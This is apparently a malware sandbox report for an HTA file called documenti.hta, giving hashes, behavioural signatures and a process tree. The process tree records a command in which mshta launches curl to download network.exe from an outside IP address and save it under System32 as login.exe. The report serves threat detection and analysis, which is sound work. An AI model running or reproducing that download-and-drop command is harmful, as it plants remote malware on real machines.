Analysis
- max time kernel
89s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20230221-en - resource tags
arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system - submitted
01/03/2023, 18:00
Static task
static1
Behavioral task
behavioral1
Sample
documenti.hta
Resource
win7-20230220-en
3 signatures
150 seconds
Behavioral task
behavioral2
Sample
documenti.hta
Resource
win10v2004-20230221-en
3 signatures
150 seconds
General
- Target documenti.hta
- Size 7KB
- Sample230301-wlbhdagh9w
- SHA256 8a7c42f43fd7c2effc6b047979222024cca5053a89523fa59a20dedc97fad71c
- MD5 2ca7999fbdf4096080ff5ed2c0c9a636
- SHA1 b3f734f3bd39b8c099a17a0dde48c5783c6280ff
- SHA512 99ca0e78b8cdc49881cf0ae25ce119ab8aa6a5556e0636476aeb180ff54b706bc1469637872790a265dd80f40c88263293068ea0f47a5df43479e30180edac4c
- SSDEEP 96:SPFibNEbJpEl0EJjAr3BZE5S4dwatxC5WLSYLw9RKUzlnoi594N0M+Q0AK/Htnzs:SkiFpa6r/TC7QuMVnoiD00MC2Kw5
- MD5 SHA1 SHA512 SSDEEP
Score
7/10
Malware Config
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation mshta.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3100 wrote to memory of 4804 3100 mshta.exe 84 PID 3100 wrote to memory of 4804 3100 mshta.exe 84 PID 3100 wrote to memory of 4804 3100 mshta.exe 84 PID 4804 wrote to memory of 548 4804 cmd.exe 86 PID 4804 wrote to memory of 548 4804 cmd.exe 86 PID 4804 wrote to memory of 548 4804 cmd.exe 86
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\documenti.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3100 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c curl http://109.248.11.155/network.exe -o C:\Windows\\System32\\LogFiles\\login.exe2⤵
- Suspicious use of WriteProcessMemory
PID:4804 -
C:\Windows\SysWOW64\curl.execurl http://109.248.11.155/network.exe -o C:\Windows\\System32\\LogFiles\\login.exe3⤵PID:548
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